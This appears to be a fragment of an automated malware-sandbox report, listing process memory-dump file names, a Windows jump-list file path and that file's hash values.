memory/3508-31-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

memory/3508-32-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

memory/3508-34-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

memory/2456-37-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

memory/2456-38-0x00007FFE733CD000-0x00007FFE733CE000-memory.dmp

memory/2456-39-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

memory/2456-40-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

memory/3508-44-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

memory/3508-45-0x00007FF790550000-0x00007FF790558000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 53bbc95abb4b97fa9901611f36947fe2
SHA1 847d78fbdd97a473d78b99d8b2e316699479e623
SHA256 908b85fb14f99e71896d0bdce697aba53e42ca0b0d986a09a84d925038cb98e5
SHA512 852f5d9c632a60adc0fb6d1257ac13b44ca08b683b305bb5685650bb10ee52d26e2035d01e23a5e6d1a3f29425a93cd16e068d1ad238f6dcd512ef4d76e2cdd0